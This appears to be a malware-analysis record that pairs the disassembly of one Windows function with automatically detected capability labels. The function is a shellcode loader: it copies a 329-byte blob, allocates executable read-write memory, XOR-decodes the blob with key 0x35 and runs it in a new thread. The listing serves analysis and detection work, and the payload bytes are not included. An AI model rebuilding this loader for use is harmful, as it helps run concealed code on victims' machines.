Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Create thread
Encode data using xor
Spawn thread to rwx shellcode

Disassembly:
push rbx
sub rsp, 0x190
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x188], rax
mov ebx, 2
lea rdx, [rsp + 0x30]
mov ecx, ebx
lea rax, [0x140003260]
nop
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
lea rax, [rax + 0x80]
movups xmmword [rdx - 0x80], xmm0
movups xmm0, xmmword [rax - 0x60]
movups xmmword [rdx - 0x70], xmm1
movups xmm1, xmmword [rax - 0x50]
movups xmmword [rdx - 0x60], xmm0
movups xmm0, xmmword [rax - 0x40]
movups xmmword [rdx - 0x50], xmm1
movups xmm1, xmmword [rax - 0x30]
movups xmmword [rdx - 0x40], xmm0
movups xmm0, xmmword [rax - 0x20]
movups xmmword [rdx - 0x30], xmm1
movups xmm1, xmmword [rax - 0x10]
movups xmmword [rdx - 0x20], xmm0
movups xmmword [rdx - 0x10], xmm1
sub rcx, 1
jne 0x140001030
mov rcx, qword [rax + 0x40]
mov r9d, 0x40
movups xmm0, xmmword [rax]
mov r8d, 0x3000
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rdx + 0x20], xmm0
movups xmmword [rdx + 0x30], xmm1
mov qword [rdx + 0x40], rcx
movzx ecx, byte [rax + 0x48]
mov byte [rdx + 0x48], cl
mov edx, 0x149
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
lea rdx, [rsp + 0x30]
mov rcx, rax
nop dword [rax]
nop dword [rax + rax]
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rdx]
movups xmm1, xmmword [rdx + 0x10]
lea rdx, [rdx + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm0, xmmword [rdx - 0x60]
movups xmmword [rcx - 0x70], xmm1
movups xmm1, xmmword [rdx - 0x50]
movups xmmword [rcx - 0x60], xmm0
movups xmm0, xmmword [rdx - 0x40]
movups xmmword [rcx - 0x50], xmm1
movups xmm1, xmmword [rdx - 0x30]
movups xmmword [rcx - 0x40], xmm0
movups xmm0, xmmword [rdx - 0x20]
movups xmmword [rcx - 0x30], xmm1
movups xmm1, xmmword [rdx - 0x10]
movups xmmword [rcx - 0x20], xmm0
movups xmmword [rcx - 0x10], xmm1
sub rbx, 1
jne 0x1400010e0
mov rax, qword [rdx + 0x40]
movups xmm0, xmmword [rdx]
movups xmm1, xmmword [rdx + 0x10]
movdqa xmm2, xmmword [str.5555555555555555_]
movups xmmword [rcx], xmm0
movups xmm0, xmmword [rdx + 0x20]
movups xmmword [rcx + 0x10], xmm1
movups xmm1, xmmword [rdx + 0x30]
movups xmmword [rcx + 0x20], xmm0
movups xmmword [rcx + 0x30], xmm1
mov qword [rcx + 0x40], rax
movzx eax, byte [rdx + 0x48]
mov byte [rcx + 0x48], al
xor ecx, ecx
lea rax, [r8 + 0x20]
nop
movdqu xmm0, xmmword [rax - 0x20]
lea rax, [rax + 0x40]
add ecx, 0x40
movdqa xmm1, xmm2
xorps xmm1, xmm0
movdqu xmmword [rax - 0x60], xmm1
movdqu xmm0, xmmword [rax - 0x50]
xorps xmm0, xmm2
movdqu xmmword [rax - 0x50], xmm0
movdqu xmm1, xmmword [rax - 0x40]
xorps xmm1, xmm2
movdqu xmmword [rax - 0x40], xmm1
movdqa xmm1, xmm2
movdqu xmm0, xmmword [rax - 0x30]
xorps xmm1, xmm0
movdqu xmmword [rax - 0x30], xmm1
cmp ecx, 0x140
jb 0x140001170
movsxd rax, ecx
cmp rax, 0x149
jae 0x1400011e1
add rax, r8
nop dword [rax]
xor byte [rax], 0x35
lea rax, [rax + 1]
inc ecx
cmp ecx, 0x149
jb 0x1400011d0
lea rax, [rsp + 0x180]
xor r9d, r9d
mov qword [rsp + 0x28], rax
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor eax, eax
mov rcx, qword [rsp + 0x188]
xor rcx, rsp
call fcn.140001240
add rsp, 0x190
pop rbx
ret